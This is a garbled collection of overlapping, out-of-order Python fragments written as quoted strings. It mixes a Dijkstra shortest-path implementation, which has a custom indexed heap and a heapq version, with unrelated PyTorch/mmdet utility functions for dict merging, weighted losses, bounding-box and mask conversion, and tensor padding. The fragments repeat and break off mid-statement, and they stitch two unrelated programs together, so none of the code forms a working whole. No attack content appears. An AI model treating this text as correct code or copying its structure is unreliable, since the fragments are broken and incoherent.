get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1, 0))", "self.v2index_map[self.array[j][0]] = i self.array[i] = self.array[j] self.array[j] = t def", "1)) # (dj_score, vertex_id) distances = {i: 1000000 for i", "2, 5: 3, 6: 4} # graph = { #", "59, 82, 99, 115, 133, 165, 188, 197] print(\",\".join([str(int(min_distances[i])) for", ">= 0: if self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx", "self.array[right_idx][1] < self.array[left_idx][1]): min_idx = right_idx if self.array[idx][1] < self.array[min_idx][1]:", "self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename): graph = dict() with", "in e])) start_t = time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time()", "and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx) def read_graph(filename): graph", "added to X X.append(cur_v) for neighbor, weight in graph[cur_v]: dj_score", "__swap_value(self, i, j): t = self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]]", "self.array = [] self.v2index_map = {} def __get_parent_index(self, idx): return", "row in f.readlines(): edges = row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s]", "def get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1, 0)) # (vertex_id, dj_score)", "165, 188, 197] print(\",\".join([str(int(min_distances[i])) for i in e])) start_t =", "self.array.pop() if self.size > 1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node", "self.array[j] = t def __bubble_up(self, idx): parent_idx = self.__get_parent_index(idx) while", "(1, 2), (6, 5)], # 5: [(1, 3), (6, 3)],", "from os import path from math import floor class Heap:", "n_v cur_v, v_score = heap.pop() shortest_paths[cur_v] = v_score for neighbor,", "# print(min_distances) e = [7, 37, 59, 82, 99, 115,", "neighbor)) return distances, X def get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1,", "def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def pop(self): if self.size <", "left_idx if left_idx >= self.size or (right_idx < self.size and", "right_idx = self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def pop(self):", "= self.size self.size = self.size + 1 if self.size >", "7), (5, 3), (2, 1), (4, 2), (3, 3)], #", "if v != 1: heap.insert((v, 1000000)) shortest_paths = dict() n_v", "# 1: [(6, 7), (5, 3), (2, 1), (4, 2),", "raise IndexError min_node = self.array[0] self.size = self.size - 1", "len(dedup_edges) == sum([len(e) for e in graph.values()]) # graph =", "# graph = {} # heap = Heap() # heap.insert((1,0))", "graph[cur_v]: dj_score = v_score + weight # import pdb;pdb.set_trace() if", "self.__bubble_down(idx) def read_graph(filename): graph = dict() with open(path.join('.', filename), 'r')", "heap.insert((2,0)) # heap.pop() start_t = time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time()", "time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time() - start_t) # print(min_distances) e", "# 5: [(1, 3), (6, 3)], # 6: [(1, 7),", "# test case 1, output: {1: 0, 2: 1, 3:", "3)], # 2: [(1, 1), (3, 1), (4, 1), (6,", "assert len(dedup_edges) == sum([len(e) for e in graph.values()]) # graph", "[7, 37, 59, 82, 99, 115, 133, 165, 188, 197]", "weight in graph[cur_v]: dj_score = cur_distance + weight if dj_score", "1: self.__bubble_up(self.size - 1) def modify_key(self, v_id, update_val): idx =", "or right_idx < self.size: min_idx = left_idx if left_idx >=", "3), (6, 3)], # 6: [(1, 7), (3, 2), (2,", "distances, X def get_shortest_paths_self_defined_heap(graph): heap = Heap() heap.insert((1, 0)) #", "i in e])) start_t = time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X)", "in graph[cur_v]: dj_score = v_score + weight # import pdb;pdb.set_trace()", "v in graph: if v != 1: heap.insert((v, 1000000)) shortest_paths", "min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t) # print(min_distances) e", "* idx + 2 def __swap_value(self, i, j): t =", "neighbor not in shortest_paths and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score)", "range(1, len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph def", "modify_key(self, v_id, update_val): idx = self.v2index_map[v_id] self.array[idx] = (v_id, update_val)", "graph.items(): for v in _: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k,", "< heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths if __name__ == \"__main__\":", "distances[cur_v]: continue # added to X X.append(cur_v) for neighbor, weight", "def pop(self): if self.size < 1: raise IndexError min_node =", "self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx = parent_idx parent_idx", "(2, 1), (4, 2), (3, 3)], # 2: [(1, 1),", "82, 99, 115, 133, 165, 188, 197] print(\",\".join([str(int(min_distances[i])) for i", "2), (6, 5)], # 5: [(1, 3), (6, 3)], #", "self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node def insert(self, node): self.array.append(node) self.v2index_map[node[0]]", "1) / 2)) def __get_left_child_index(self, idx): return 2 * idx", "5), (5, 3)] # } graph = read_graph(\"Dijkstra.txt\") dedup_edges =", "# heap.insert((2,0)) # heap.pop() start_t = time.time() min_distances,X = get_shortest_paths_heapq(graph)", "weight # import pdb;pdb.set_trace() if neighbor not in shortest_paths and", "heapq.heappush(heap, (dj_score, neighbor)) return distances, X def get_shortest_paths_self_defined_heap(graph): heap =", "self.array[left_idx][1]): min_idx = right_idx if self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx,", "< 1: raise IndexError min_node = self.array[0] self.size = self.size", "= [] self.v2index_map = {} def __get_parent_index(self, idx): return int(floor((idx", "{} # heap = Heap() # heap.insert((1,0)) # heap.insert((2,0)) #", "print(min_distances) e = [7, 37, 59, 82, 99, 115, 133,", "idx): parent_idx = self.__get_parent_index(idx) while parent_idx >= 0: if self.array[parent_idx][1]", "self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def", "# 6: [(1, 7), (3, 2), (2, 6), (4, 5),", "if __name__ == \"__main__\": # test case 1, output: {1:", "self.array.append(node) self.v2index_map[node[0]] = self.size self.size = self.size + 1 if", "while heap: cur_distance, cur_v = heapq.heappop(heap) if cur_distance > distances[cur_v]:", "test case 1, output: {1: 0, 2: 1, 3: 2,", "insert(self, node): self.array.append(node) self.v2index_map[node[0]] = self.size self.size = self.size +", "self.__swap_value(0, self.size) self.array.pop() if self.size > 1: self.__bubble_down(0) del self.v2index_map[min_node[0]]", "idx + 1 def __get_right_child_index(self, idx): return 2 * idx", "get_shortest_paths_heapq(graph) print(time.time() - start_t) # print(min_distances) e = [7, 37,", "read_graph(filename): graph = dict() with open(path.join('.', filename), 'r') as f:", "= {} # heap = Heap() # heap.insert((1,0)) # heap.insert((2,0))", "edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph def get_shortest_paths_heapq(graph): heap", "= len(graph) while len(shortest_paths) < n_v: assert len(shortest_paths) + heap.size", "0: if self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx, idx) idx =", "path from math import floor class Heap: def __init__(self): self.size", "right_idx < self.size: min_idx = left_idx if left_idx >= self.size", "return self.array[self.v2index_map[v_id]][1] def pop(self): if self.size < 1: raise IndexError", "def get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap, (0, 1)) # (dj_score,", "for v in graph: if v != 1: heap.insert((v, 1000000))", "shortest_paths[cur_v] = v_score for neighbor, weight in graph[cur_v]: dj_score =", "graph[s] = [] for i in range(1, len(edges)): edge =", "5: 3, 6: 4} # graph = { # 1:", "0 self.array = [] self.v2index_map = {} def __get_parent_index(self, idx):", "idx = min_idx left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def", "X = [] while heap: cur_distance, cur_v = heapq.heappop(heap) if", "1), (3, 1), (4, 1), (6, 6)], # 3: [(1,", "- start_t) # print(min_distances) e = [7, 37, 59, 82,", "left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while left_idx < self.size", "pdb;pdb.set_trace() if neighbor not in shortest_paths and dj_score < heap.get_vertex_key(neighbor):", "right_idx = self.__get_right_child_index(idx) while left_idx < self.size or right_idx <", "3), (2, 1), (4, 2), (3, 3)], # 2: [(1,", "idx = parent_idx parent_idx = self.__get_parent_index(idx) def __bubble_down(self, idx): left_idx", "[] heapq.heappush(heap, (0, 1)) # (dj_score, vertex_id) distances = {i:", "idx): return int(floor((idx - 1) / 2)) def __get_left_child_index(self, idx):", "1 def __get_right_child_index(self, idx): return 2 * idx + 2", "import path from math import floor class Heap: def __init__(self):", "if self.size > 1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node def", "for k, _ in graph.items(): for v in _: dedup_edges.add((k,", "heap.insert((1, 0)) # (vertex_id, dj_score) for v in graph: if", "(6, 3)], # 6: [(1, 7), (3, 2), (2, 6),", "left_idx >= self.size or (right_idx < self.size and self.array[right_idx][1] <", "# heap = Heap() # heap.insert((1,0)) # heap.insert((2,0)) # heap.pop()", "(dj_score, vertex_id) distances = {i: 1000000 for i in graph}", "(3, 1), (4, 1), (6, 6)], # 3: [(1, 3),", "self.__get_right_child_index(idx) while left_idx < self.size or right_idx < self.size: min_idx", "not in shortest_paths and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return", "1), (6, 2)], # 4: [(2, 1), (1, 2), (6,", "2 def __swap_value(self, i, j): t = self.array[i] self.v2index_map[t[0]] =", "int(floor((idx - 1) / 2)) def __get_left_child_index(self, idx): return 2", "(v_id, update_val) parent_idx = self.__get_parent_index(idx) if parent_idx >= 0 and", "+ 1 def __get_right_child_index(self, idx): return 2 * idx +", "def modify_key(self, v_id, update_val): idx = self.v2index_map[v_id] self.array[idx] = (v_id,", "= self.__get_parent_index(idx) if parent_idx >= 0 and self.array[idx][1] < self.array[parent_idx][1]:", "read_graph(\"Dijkstra.txt\") dedup_edges = set() for k, _ in graph.items(): for", "= dict() with open(path.join('.', filename), 'r') as f: for row", "self.size = self.size + 1 if self.size > 1: self.__bubble_up(self.size", "= self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] = i self.array[i] =", "print(\",\".join([str(int(min_distances[i])) for i in e])) start_t = time.time() min_distances =", "self.array[self.v2index_map[v_id]][1] def pop(self): if self.size < 1: raise IndexError min_node", "self.size < 1: raise IndexError min_node = self.array[0] self.size =", "2 * idx + 1 def __get_right_child_index(self, idx): return 2", "and self.array[right_idx][1] < self.array[left_idx][1]): min_idx = right_idx if self.array[idx][1] <", "as f: for row in f.readlines(): edges = row.strip('\\t\\n').split('\\t') s", "# } graph = read_graph(\"Dijkstra.txt\") dedup_edges = set() for k,", "self.size + 1 if self.size > 1: self.__bubble_up(self.size - 1)", "self.size > 1: self.__bubble_down(0) del self.v2index_map[min_node[0]] return min_node def insert(self,", "self.size self.size = self.size + 1 if self.size > 1:", "len(shortest_paths) < n_v: assert len(shortest_paths) + heap.size == n_v cur_v,", "t = self.array[i] self.v2index_map[t[0]] = j self.v2index_map[self.array[j][0]] = i self.array[i]", "< self.size: min_idx = left_idx if left_idx >= self.size or", "len(graph) while len(shortest_paths) < n_v: assert len(shortest_paths) + heap.size ==", "# added to X X.append(cur_v) for neighbor, weight in graph[cur_v]:", "min_distances,X = get_shortest_paths_heapq(graph) print(time.time() - start_t) # print(min_distances) e =", "= cur_distance + weight if dj_score < distances[neighbor]: distances[neighbor] =", "dj_score) return shortest_paths if __name__ == \"__main__\": # test case", "(6, 6)], # 3: [(1, 3), (2, 1), (6, 2)],", "5: [(1, 3), (6, 3)], # 6: [(1, 7), (3,", "self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1] def pop(self): if self.size", "heap.insert((1,0)) # heap.insert((2,0)) # heap.pop() start_t = time.time() min_distances,X =", "(4, 5), (5, 3)] # } graph = read_graph(\"Dijkstra.txt\") dedup_edges", "{} def __get_parent_index(self, idx): return int(floor((idx - 1) / 2))", "def __swap_value(self, i, j): t = self.array[i] self.v2index_map[t[0]] = j", "heap: cur_distance, cur_v = heapq.heappop(heap) if cur_distance > distances[cur_v]: continue", "self.size = 0 self.array = [] self.v2index_map = {} def", "distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap, (dj_score, neighbor)) return distances, X", "self.array[idx][1] < self.array[min_idx][1]: break self.__swap_value(idx, min_idx) idx = min_idx left_idx", "v_score = heap.pop() shortest_paths[cur_v] = v_score for neighbor, weight in", "[(6, 7), (5, 3), (2, 1), (4, 2), (3, 3)],", "import floor class Heap: def __init__(self): self.size = 0 self.array", "v[0], v[1])) dedup_edges.add((v[0], k, v[1])) assert len(dedup_edges) == sum([len(e) for", "dict() with open(path.join('.', filename), 'r') as f: for row in", "1), (4, 1), (6, 6)], # 3: [(1, 3), (2,", "< distances[neighbor]: distances[neighbor] = dj_score heapq.heappush(heap, (dj_score, neighbor)) return distances,", "for e in graph.values()]) # graph = {} # heap", "for v in _: dedup_edges.add((k, v[0], v[1])) dedup_edges.add((v[0], k, v[1]))", "(3, 2), (2, 6), (4, 5), (5, 3)] # }", "return graph def get_shortest_paths_heapq(graph): heap = [] heapq.heappush(heap, (0, 1))", "heap.pop() start_t = time.time() min_distances,X = get_shortest_paths_heapq(graph) print(time.time() - start_t)", "self.array[j] self.array[j] = t def __bubble_up(self, idx): parent_idx = self.__get_parent_index(idx)", "(6, 2)], # 4: [(2, 1), (1, 2), (6, 5)],", "[] for i in range(1, len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]),", "t def __bubble_up(self, idx): parent_idx = self.__get_parent_index(idx) while parent_idx >=", "# 4: [(2, 1), (1, 2), (6, 5)], # 5:", "(dj_score, neighbor)) return distances, X def get_shortest_paths_self_defined_heap(graph): heap = Heap()", "= time.time() min_distances = get_shortest_paths_self_defined_heap(graph, X) print(time.time() - start_t) #", "in f.readlines(): edges = row.strip('\\t\\n').split('\\t') s = int(edges[0]) graph[s] =", "X X.append(cur_v) for neighbor, weight in graph[cur_v]: dj_score = cur_distance", "'r') as f: for row in f.readlines(): edges = row.strip('\\t\\n').split('\\t')", "(vertex_id, dj_score) for v in graph: if v != 1:", "= 0 X = [] while heap: cur_distance, cur_v =", "(2, 1), (6, 2)], # 4: [(2, 1), (1, 2),", "while parent_idx >= 0: if self.array[parent_idx][1] <= self.array[idx][1]: break self.__swap_value(parent_idx,", "neighbor, weight in graph[cur_v]: dj_score = cur_distance + weight if", "distances[neighbor] = dj_score heapq.heappush(heap, (dj_score, neighbor)) return distances, X def", "continue # added to X X.append(cur_v) for neighbor, weight in", "2), (2, 6), (4, 5), (5, 3)] # } graph", "graph = dict() with open(path.join('.', filename), 'r') as f: for", "heap.pop() shortest_paths[cur_v] = v_score for neighbor, weight in graph[cur_v]: dj_score", "self.array[idx] = (v_id, update_val) parent_idx = self.__get_parent_index(idx) if parent_idx >=", "(6, 5)], # 5: [(1, 3), (6, 3)], # 6:", "parent_idx >= 0 and self.array[idx][1] < self.array[parent_idx][1]: self.__bubble_up(idx) else: self.__bubble_down(idx)", "__get_parent_index(self, idx): return int(floor((idx - 1) / 2)) def __get_left_child_index(self,", "and dj_score < heap.get_vertex_key(neighbor): heap.modify_key(neighbor, dj_score) return shortest_paths if __name__", "== sum([len(e) for e in graph.values()]) # graph = {}", "0, 2: 1, 3: 2, 4: 2, 5: 3, 6:", "= {i: 1000000 for i in graph} distances[1] = 0", "- 1) def modify_key(self, v_id, update_val): idx = self.v2index_map[v_id] self.array[idx]", "def __bubble_down(self, idx): left_idx = self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) while", "heap.modify_key(neighbor, dj_score) return shortest_paths if __name__ == \"__main__\": # test", "heapq.heappush(heap, (0, 1)) # (dj_score, vertex_id) distances = {i: 1000000", "for i in graph} distances[1] = 0 X = []", "= self.__get_left_child_index(idx) right_idx = self.__get_right_child_index(idx) def get_vertex_key(self, v_id): return self.array[self.v2index_map[v_id]][1]", "len(edges)): edge = edges[i].split(',') graph[s].append((int(edge[0]), int(edge[1]))) return graph def get_shortest_paths_heapq(graph):" ]
[ "isinstance(a, dict): assert isinstance(b, dict) return {k: dict_sum(v, b[k]) for", ") for tensor in tensors ] ) return tensors def", "= np.concatenate(result) if bbox.shape[0] == 0: label = np.zeros(0, dtype=np.uint8)", "False def weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1", "a + b def zero_like(tensor_pack, prefix=\"\"): if isinstance(tensor_pack, Sequence): return", "True return False def weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"]", "in word_list: if keyword in word: return True return False", "loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number): for name, loss_item", "pad_stack(tensors, shape, pad_value=255): tensors = torch.stack( [ F.pad( tensor, pad=[0,", "k in dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor): return", "in dict1.items() } def dict_split(dict1, key): group_names = list(set(dict1[key])) dict_groups", "data type {}\".format(type(tensor_pack))) return 0 def pad_stack(tensors, shape, pad_value=255): tensors", "[o * multiplier for o in obj] else: return obj", "F.pad( tensor, pad=[0, shape[1] - tensor.shape[1], 0, shape[0] - tensor.shape[0]],", "return endpoint def sequence_concat(a, b): if isinstance(a, Sequence) and isinstance(b,", "[dict_sum(aa, bb) for aa, bb in zip(a, b)] else: return", "== len(b) return [dict_sum(aa, bb) for aa, bb in zip(a,", "> 0] ).reshape((-1,)) return bbox, label def result2mask(result): num_class =", "data_list[0]] for i in range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint def", "isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list) return obj_list def dict_select(dict1: Dict[str, list],", "if isinstance(a, Sequence) and isinstance(b, Sequence): return a + b", "key, k) for k in group_names} return dict_groups def dict_sum(a,", "group_names} return dict_groups def dict_sum(a, b): if isinstance(a, dict): assert", ") return tensors def result2bbox(result): num_class = len(result) bbox =", "import Number from typing import Dict, List import numpy as", "for i in range(num_class) if len(result[i]) > 0] if len(mask)", "if bbox.shape[0] == 0: label = np.zeros(0, dtype=np.uint8) else: label", ").reshape((-1,)) return bbox, label def result2mask(result): num_class = len(result) mask", "torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected", "mask.shape[1], mask.shape[2]), None def sequence_mul(obj, multiplier): if isinstance(obj, Sequence): return", "np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack))) return 0 def pad_stack(tensors,", "mask.shape[2]), None def sequence_mul(obj, multiplier): if isinstance(obj, Sequence): return [o", "return obj * multiplier def is_match(word, word_list): for keyword in", "v in a.items()} elif isinstance(a, list): assert len(a) == len(b)", "Number from typing import Dict, List import numpy as np", "str, value: str): flag = [v == value for v", "* (_step_counter[\"weight\"] - 1) / warmup if _step_counter[\"weight\"] <= warmup", "for k, v in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape)", "flag) if ff], v) for k, v in dict1.items() }", "x * (_step_counter[\"weight\"] - 1) / warmup if _step_counter[\"weight\"] <=", "len(data_list)): endpoint.extend(data_list[i]) return endpoint def sequence_concat(a, b): if isinstance(a, Sequence)", "isinstance(tensor_pack, Sequence): return [zero_like(t) for t in tensor_pack] elif isinstance(tensor_pack,", "result2bbox(result): num_class = len(result) bbox = np.concatenate(result) if bbox.shape[0] ==", "= np.zeros(0, dtype=np.uint8) else: label = np.concatenate( [[i] * len(result[i])", "len(a) == len(b) return [dict_sum(aa, bb) for aa, bb in", "import Counter, Mapping, Sequence from numbers import Number from typing", "[v == value for v in dict1[key]] return { k:", "return torch.stack(obj_list) return obj_list def dict_select(dict1: Dict[str, list], key: str,", "np import torch from mmdet.core.mask.structures import BitmapMasks from torch.nn import", "in zip(a, b)] else: return a + b def zero_like(tensor_pack,", "Counter, Mapping, Sequence from numbers import Number from typing import", "if isinstance(obj, Sequence): return [o * multiplier for o in", "[zero_like(t) for t in tensor_pack] elif isinstance(tensor_pack, Mapping): return {prefix", "is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name],", "for k, v in a.items()} elif isinstance(a, list): assert len(a)", "tensors def result2bbox(result): num_class = len(result) bbox = np.concatenate(result) if", "def sequence_mul(obj, multiplier): if isinstance(obj, Sequence): return [o * multiplier", "obj] else: return obj * multiplier def is_match(word, word_list): for", "import torch from mmdet.core.mask.structures import BitmapMasks from torch.nn import functional", "len(result) mask = [np.stack(result[i]) for i in range(num_class) if len(result[i])", "return torch.cat(data_list) else: endpoint = [d for d in data_list[0]]", "torch.Tensor): return torch.stack(obj_list) return obj_list def dict_select(dict1: Dict[str, list], key:", "in a.items()} elif isinstance(a, list): assert len(a) == len(b) return", "> 0: mask = np.concatenate(mask) else: mask = np.zeros((0, 1,", "label def result2mask(result): num_class = len(result) mask = [np.stack(result[i]) for", "{prefix + k: zero_like(v) for k, v in tensor_pack.items()} elif", "loss.items(): if (k in name) and (\"loss\" in name): loss[name]", "name, loss_item in loss.items(): if (k in name) and (\"loss\"", "def dict_split(dict1, key): group_names = list(set(dict1[key])) dict_groups = {k: dict_select(dict1,", "+ k: zero_like(v) for k, v in tensor_pack.items()} elif isinstance(tensor_pack,", "elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack)", "return { k: dict_fuse([vv for vv, ff in zip(v, flag)", "name) and (\"loss\" in name): loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif", "warnings from collections import Counter, Mapping, Sequence from numbers import", "in dicts[0].keys()} def dict_fuse(obj_list, reference_obj): if isinstance(reference_obj, torch.Tensor): return torch.stack(obj_list)", "type {}\".format(type(tensor_pack))) return 0 def pad_stack(tensors, shape, pad_value=255): tensors =", "lambda_weight(weight)) else: loss[name] = sequence_mul(loss[name], 0.0) else: raise NotImplementedError() return", "Sequence): return [o * multiplier for o in obj] else:", "in obj] else: return obj * multiplier def is_match(word, word_list):", "return [dict_sum(aa, bb) for aa, bb in zip(a, b)] else:", "b[k]) for k, v in a.items()} elif isinstance(a, list): assert", "= np.concatenate(mask) else: mask = np.zeros((0, 1, 1)) return BitmapMasks(mask,", "import warnings from collections import Counter, Mapping, Sequence from numbers", "k: dict_fuse([vv for vv, ff in zip(v, flag) if ff],", "torch.Tensor): return torch.cat(data_list) else: endpoint = [d for d in", "1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def sequence_mul(obj, multiplier): if", "if (k in name) and (\"loss\" in name): loss[name] =", "from typing import Dict, List import numpy as np import", "return True return False def weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0):", "in weight.items(): for name, loss_item in loss.items(): if (k in", "v in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack,", "k) for k in group_names} return dict_groups def dict_sum(a, b):", "list(set(dict1[key])) dict_groups = {k: dict_select(dict1, key, k) for k in", "label = np.concatenate( [[i] * len(result[i]) for i in range(num_class)", "- 1) / warmup if _step_counter[\"weight\"] <= warmup else x", "name): loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number): for name,", "= sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number): for name, loss_item in", "dict_select(dict1: Dict[str, list], key: str, value: str): flag = [v", "return dict_groups def dict_sum(a, b): if isinstance(a, dict): assert isinstance(b,", "{}\".format(type(tensor_pack))) return 0 def pad_stack(tensors, shape, pad_value=255): tensors = torch.stack(", "if isinstance(tensor_pack, Sequence): return [zero_like(t) for t in tensor_pack] elif", "collections import Counter, Mapping, Sequence from numbers import Number from", "name, loss_item in loss.items(): if \"loss\" in name: if not", "warmup else x ) if isinstance(weight, Mapping): for k, v", "obj * multiplier def is_match(word, word_list): for keyword in word_list:", "if len(result[i]) > 0] if len(mask) > 0: mask =", "weight.items(): for name, loss_item in loss.items(): if (k in name)", "as F _step_counter = Counter() def list_concat(data_list: List[list]): if isinstance(data_list[0],", "for k, v in weight.items(): for name, loss_item in loss.items():", "/ warmup if _step_counter[\"weight\"] <= warmup else x ) if", "\"loss\" in name: if not is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name],", "dict): assert isinstance(b, dict) return {k: dict_sum(v, b[k]) for k,", "v in weight.items(): for name, loss_item in loss.items(): if (k", "multiplier def is_match(word, word_list): for keyword in word_list: if keyword", "ff in zip(v, flag) if ff], v) for k, v", "in loss.items(): if \"loss\" in name: if not is_match(name, ignore_keys):", "} def dict_split(dict1, key): group_names = list(set(dict1[key])) dict_groups = {k:", "in tensor_pack] elif isinstance(tensor_pack, Mapping): return {prefix + k: zero_like(v)", "label = np.zeros(0, dtype=np.uint8) else: label = np.concatenate( [[i] *", "== value for v in dict1[key]] return { k: dict_fuse([vv", "{k: dict_select(dict1, key, k) for k in group_names} return dict_groups", "isinstance(b, dict) return {k: dict_sum(v, b[k]) for k, v in", "_step_counter[\"weight\"] <= warmup else x ) if isinstance(weight, Mapping): for", "return tensors def result2bbox(result): num_class = len(result) bbox = np.concatenate(result)", "dict_split(dict1, key): group_names = list(set(dict1[key])) dict_groups = {k: dict_select(dict1, key,", "isinstance(b, Sequence): return a + b else: return None def", "for keyword in word_list: if keyword in word: return True", "sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number): for name, loss_item in loss.items():", "not is_match(name, ignore_keys): loss[name] = sequence_mul(loss[name], lambda_weight(weight)) else: loss[name] =", "def dict_sum(a, b): if isinstance(a, dict): assert isinstance(b, dict) return", "isinstance(data_list[0], torch.Tensor): return torch.cat(data_list) else: endpoint = [d for d", "typing import Dict, List import numpy as np import torch", "return bbox, label def result2mask(result): num_class = len(result) mask =", "range(num_class) if len(result[i]) > 0] if len(mask) > 0: mask", "dict_select(dict1, key, k) for k in group_names} return dict_groups def", "range(num_class) if len(result[i]) > 0] ).reshape((-1,)) return bbox, label def", "pad_value=255): tensors = torch.stack( [ F.pad( tensor, pad=[0, shape[1] -", "isinstance(a, Sequence) and isinstance(b, Sequence): return a + b else:", "torch.stack(obj_list) return obj_list def dict_select(dict1: Dict[str, list], key: str, value:", "keyword in word: return True return False def weighted_loss(loss: dict,", "[d for d in data_list[0]] for i in range(1, len(data_list)):", "in name): loss[name] = sequence_mul(loss[name], lambda_weight(v)) elif isinstance(weight, Number): for", "len(result) bbox = np.concatenate(result) if bbox.shape[0] == 0: label =", "list]]): return {k: list_concat([d[k] for d in dicts]) for k", "List[Dict[str, list]]): return {k: list_concat([d[k] for d in dicts]) for", "Dict[str, list], key: str, value: str): flag = [v ==", "- tensor.shape[0]], value=pad_value, ) for tensor in tensors ] )", "value: str): flag = [v == value for v in", "import BitmapMasks from torch.nn import functional as F _step_counter =", "loss_item in loss.items(): if (k in name) and (\"loss\" in", "mask = [np.stack(result[i]) for i in range(num_class) if len(result[i]) >", "bbox, label def result2mask(result): num_class = len(result) mask = [np.stack(result[i])", "for i in range(1, len(data_list)): endpoint.extend(data_list[i]) return endpoint def sequence_concat(a,", "return {k: list_concat([d[k] for d in dicts]) for k in", "= list(set(dict1[key])) dict_groups = {k: dict_select(dict1, key, k) for k", "weighted_loss(loss: dict, weight, ignore_keys=[], warmup=0): _step_counter[\"weight\"] += 1 lambda_weight =", "(_step_counter[\"weight\"] - 1) / warmup if _step_counter[\"weight\"] <= warmup else", "return {k: dict_sum(v, b[k]) for k, v in a.items()} elif", "endpoint.extend(data_list[i]) return endpoint def sequence_concat(a, b): if isinstance(a, Sequence) and", "v in dict1.items() } def dict_split(dict1, key): group_names = list(set(dict1[key]))", "k, v in weight.items(): for name, loss_item in loss.items(): if", "and isinstance(b, Sequence): return a + b else: return None", "if keyword in word: return True return False def weighted_loss(loss:", "tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor): return tensor_pack.new_zeros(tensor_pack.shape) elif isinstance(tensor_pack, np.ndarray): return", "in tensors ] ) return tensors def result2bbox(result): num_class =", "1) / warmup if _step_counter[\"weight\"] <= warmup else x )", "k: zero_like(v) for k, v in tensor_pack.items()} elif isinstance(tensor_pack, torch.Tensor):", "elif isinstance(tensor_pack, np.ndarray): return np.zeros_like(tensor_pack) else: warnings.warn(\"Unexpected data type {}\".format(type(tensor_pack)))", "Sequence) and isinstance(b, Sequence): return a + b else: return", "np.concatenate( [[i] * len(result[i]) for i in range(num_class) if len(result[i])", "lambda x: x * (_step_counter[\"weight\"] - 1) / warmup if", "functional as F _step_counter = Counter() def list_concat(data_list: List[list]): if", "from numbers import Number from typing import Dict, List import", "= torch.stack( [ F.pad( tensor, pad=[0, shape[1] - tensor.shape[1], 0,", "return 0 def pad_stack(tensors, shape, pad_value=255): tensors = torch.stack( [", "= np.concatenate( [[i] * len(result[i]) for i in range(num_class) if", "vv, ff in zip(v, flag) if ff], v) for k,", "* len(result[i]) for i in range(num_class) if len(result[i]) > 0]", "1, 1)) return BitmapMasks(mask, mask.shape[1], mask.shape[2]), None def sequence_mul(obj, multiplier):", "= len(result) bbox = np.concatenate(result) if bbox.shape[0] == 0: label", "tensors = torch.stack( [ F.pad( tensor, pad=[0, shape[1] - tensor.shape[1],", "def sequence_concat(a, b): if isinstance(a, Sequence) and isinstance(b, Sequence): return", "d in data_list[0]] for i in range(1, len(data_list)): 